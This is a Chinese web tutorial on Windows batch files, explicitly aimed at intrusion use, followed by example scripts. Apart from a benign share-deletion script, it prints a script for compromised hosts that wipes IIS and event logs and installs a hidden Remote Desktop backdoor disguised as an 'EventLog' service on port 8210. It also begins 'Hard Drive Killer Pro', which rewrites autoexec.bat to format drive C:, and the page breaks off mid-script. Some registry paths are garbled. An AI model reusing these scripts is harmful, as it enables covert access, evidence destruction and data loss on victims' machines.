当前位置:首页 > 服务器类 > Windows服务器 > > 简明批处理命令

简明批处理命令

点击次数:25 次 发布日期:2008-11-29 22:55:10 作者:源代码网
源代码网推荐
源代码网推荐
源代码网推荐  批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 (本文因篇幅较长,所以分成两部份。前半部份讲命令,后半部分讲实例分析。)
源代码网推荐  
源代码网推荐  六、精彩实例放送
源代码网推荐  1.删除win2k/xp系统默认共享的批处理
源代码网推荐  
源代码网推荐  ------------------------ cut here then save as .bat or .cmd file ---------------------------
源代码网推荐  
源代码网推荐  @echo preparing to delete all the default shares.when ready pres any key.
源代码网推荐  
源代码网推荐  @pause
源代码网推荐  
源代码网推荐  @echo off
源代码网推荐  
源代码网推荐  :Rem check parameters if null show usage.
源代码网推荐  
源代码网推荐  if {%1}=={} goto :Usage
源代码网推荐  
源代码网推荐  :Rem code start.
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo ------------------------------------------------------
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo Now deleting all the default shares.
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  net share %1$ /delete
源代码网推荐  
源代码网推荐  net share %2$ /delete
源代码网推荐  
源代码网推荐  net share %3$ /delete
源代码网推荐  
源代码网推荐  net share %4$ /delete
源代码网推荐  
源代码网推荐  net share %5$ /delete
源代码网推荐  
源代码网推荐  net share %6$ /delete
源代码网推荐  
源代码网推荐  net share %7$ /delete
源代码网推荐  
源代码网推荐  net share %8$ /delete
源代码网推荐  
源代码网推荐  net share %9$ /delete
源代码网推荐  
源代码网推荐  net stop Server
源代码网推荐  
源代码网推荐  net start Server
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo All the shares have been deleteed
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo ------------------------------------------------------
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo Now modify the registry to change the system default properties.
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo Now creating the registry file
源代码网推荐  
源代码网推荐  echo Windows Registry Editor Version 5.00> c:delshare.reg
源代码网推荐  
源代码网推荐  echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
源代码网推荐  
源代码网推荐  echo "AutoShareWks"=dword:00000000>> c:delshare.reg
源代码网推荐  
源代码网推荐  echo "AutoShareServer"=dword:00000000>> c:delshare.reg
源代码网推荐  
源代码网推荐  echo Nowing using the registry file to chang the system default properties.
源代码网推荐  
源代码网推荐  regedit /s c:delshare.reg
源代码网推荐  
源代码网推荐  echo Deleting the temprotarily files.
源代码网推荐  
源代码网推荐  del c:delshare.reg
源代码网推荐  
源代码网推荐  goto :END
源代码网推荐  
源代码网推荐  :Usage
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo ------------------------------------------------------
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo ☆ A example for batch file ☆
源代码网推荐  
源代码网推荐  echo ☆ [Use batch file to change the sysytem share properties.] ☆
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo Author:Ex4rch
源代码网推荐  
源代码网推荐  echo Mail:Ex4rch@hotmail.com
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo Error:Not enough parameters
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo ☆ Please enter the share disk you wanna delete ☆
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo For instance,to delete the default shares:
源代码网推荐  
源代码网推荐  echo delshare c d e ipc admin print
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo If the disklable is not as C: D: E: ,Please chang it youself.
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo example:
源代码网推荐  
源代码网推荐  echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
源代码网推荐  
源代码网推荐  echo delshare c d e x y z ipc admin print
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo *** you can delete nine shares once in a useing ***
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo ------------------------------------------------------
源代码网推荐  
源代码网推荐  goto :EOF
源代码网推荐  
源代码网推荐  :END
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo ------------------------------------------------------
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo OK,delshare.bat has deleted all the share you assigned.
源代码网推荐  
源代码网推荐  echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
源代码网推荐  
源代码网推荐  echo
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  echo ------------------------------------------------------
源代码网推荐  
源代码网推荐  echo.
源代码网推荐  
源代码网推荐  :EOF
源代码网推荐  
源代码网推荐  echo end of the batch file
源代码网推荐  
源代码网推荐  ------------------------ cut here then save as .bat or .cmd file ---------------------------
源代码网推荐  
源代码网推荐  ------------------------ cut here then save as .bat or .cmd file ---------------------------
源代码网推荐  
源代码网推荐  下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
源代码网推荐  
源代码网推荐  @regedit /s patch.dll
源代码网推荐  
源代码网推荐  @net stop w3svc
源代码网推荐  
源代码网推荐  @net stop event log
源代码网推荐  
源代码网推荐  @del c:winntsystem32logfilesw3svc1*.* /f /q
源代码网推荐  
源代码网推荐  @del c:winntsystem32logfilesw3svc2*.* /f /q
源代码网推荐  
源代码网推荐  @del c:winntsystem32config*.event /f /q
源代码网推荐  
源代码网推荐  @del c:winntsystem32dtclog*.* /f /q
源代码网推荐  
源代码网推荐  @del c:winnt*.txt /f /q
源代码网推荐  
源代码网推荐  @del c:winnt*.log /f /q
源代码网推荐  
源代码网推荐  @net start w3svc
源代码网推荐  
源代码网推荐  @net start event log
源代码网推荐  
源代码网推荐  @rem [删除日志]
源代码网推荐  
源代码网推荐  @net stop lanmanserver /y
源代码网推荐  
源代码网推荐  @net stop Schedule /y
源代码网推荐  
源代码网推荐  @net stop RemoteRegistry /y
源代码网推荐  
源代码网推荐  @del patch.dll
源代码网推荐  
源代码网推荐  @echo The server has been patched,Have fun.
源代码网推荐  
源代码网推荐  @del patch.bat
源代码网推荐  
源代码网推荐  @REM [禁止一些危险的服务。]
源代码网推荐  
源代码网推荐  @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll
源代码网推荐  
源代码网推荐  @echo "PortNumber"=dword:00002010 >>patch.dll
源代码网推荐  
源代码网推荐  @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWds dpwdTds cp >>patch.dll
源代码网推荐  
源代码网推荐  @echo "PortNumber"=dword:00002012 >>patch.dll
源代码网推荐  
源代码网推荐  @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll
源代码网推荐  
源代码网推荐  @echo "Start"=dword:00000002 >>patch.dll
源代码网推荐  
源代码网推荐  @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll
源代码网推荐  
源代码网推荐  @echo "Start"=dword:00000002 >>patch.dll
源代码网推荐  
源代码网推荐  @echo "ErrorControl"=dword:00000001 >>patch.dll
源代码网推荐  
源代码网推荐  @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll
源代码网推荐  
源代码网推荐  @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll
源代码网推荐  
源代码网推荐  @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
源代码网推荐  
源代码网推荐  @echo "ObjectName"="LocalSystem" >>patch.dll
源代码网推荐  
源代码网推荐  @echo "Type"=dword:00000010 >>patch.dll
源代码网推荐  
源代码网推荐  @echo "Description"="Keep record of the program and windows message。" >>patch.dll
源代码网推荐  
源代码网推荐  @echo "DisplayName"="Microsoft EventLog" >>patch.dll
源代码网推荐  
源代码网推荐  @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices ermservice] >>patch.dll
源代码网推荐  
源代码网推荐  @echo "Start"=dword:00000004 >>patch.dll
源代码网推荐  
源代码网推荐  @copy c:winntsystem32 ermsrv.exe c:winntsystem32eventlog.exe
源代码网推荐  
源代码网推荐  @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
源代码网推荐  
源代码网推荐  3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
源代码网推荐  
源代码网推荐  ------------------------ cut here then save as .bat or .cmd file ---------------------------
源代码网推荐  
源代码网推荐  @echo off
源代码网推荐  
源代码网推荐  rem This program is dedecated to a very special person that does not want to be named.
源代码网推荐  
源代码网推荐  :start
源代码网推荐  
源代码网推荐  cls
源代码网推荐  
源代码网推荐  echo PLEASE WAIT WHILE PROGRAM LOADS . . .
源代码网推荐  
源代码网推荐  call attrib -r -h c:autoexec.bat >nul
源代码网推荐  
源代码网推荐  echo @echo off >c:autoexec.bat
源代码网推荐  
源代码网推荐  echo call format c: /q /u /autoSample >nul >>c:autoexec.bat
源代码网推荐  
源代码网推荐  call attrib +r +h c:autoexec.bat >nul
源代码网推荐  
源代码网推荐  rem Drive checking and assigning the valid drives to the drive variable.
源代码网推荐  
源代码网推荐  set drive=
源代码网推荐  
源代码网推荐  set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
源代码网推荐  
源代码网推荐  rem code insertion for Drive Checking takes place here.
源代码网推荐  
源代码网推荐  rem drivechk.bat is the file name under the root directory.
源代码网推荐  
源代码网推荐  rem As far
源代码网推荐
源代码网推荐
源代码网推荐
源代码网推荐
源代码网供稿.
网友评论 (0)
会员中心
服务器类
本站推荐
服务器类之精华